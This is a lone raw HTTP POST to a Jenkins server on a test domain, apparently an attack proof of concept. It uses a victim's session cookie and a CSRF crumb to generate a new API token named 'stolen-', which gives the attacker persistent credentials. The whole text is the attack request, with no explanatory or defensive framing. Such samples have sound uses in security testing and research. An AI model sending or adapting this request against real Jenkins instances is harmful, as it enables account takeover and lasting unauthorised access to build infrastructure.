POST /me/descriptorByName/jenkins.security.ApiTokenProperty/generateNewToken HTTP/1.1
Host: jenkins.example.test
Cookie: victim-session (redacted)
Jenkins-Crumb: 4ea761a98a36a3ff0caecfa1259ec16b285dfbb7f4d4646341c7a8e438d7c21d
Content-Type: application/x-www-form-urlencoded

newTokenName=stolen-1788456777-21124-1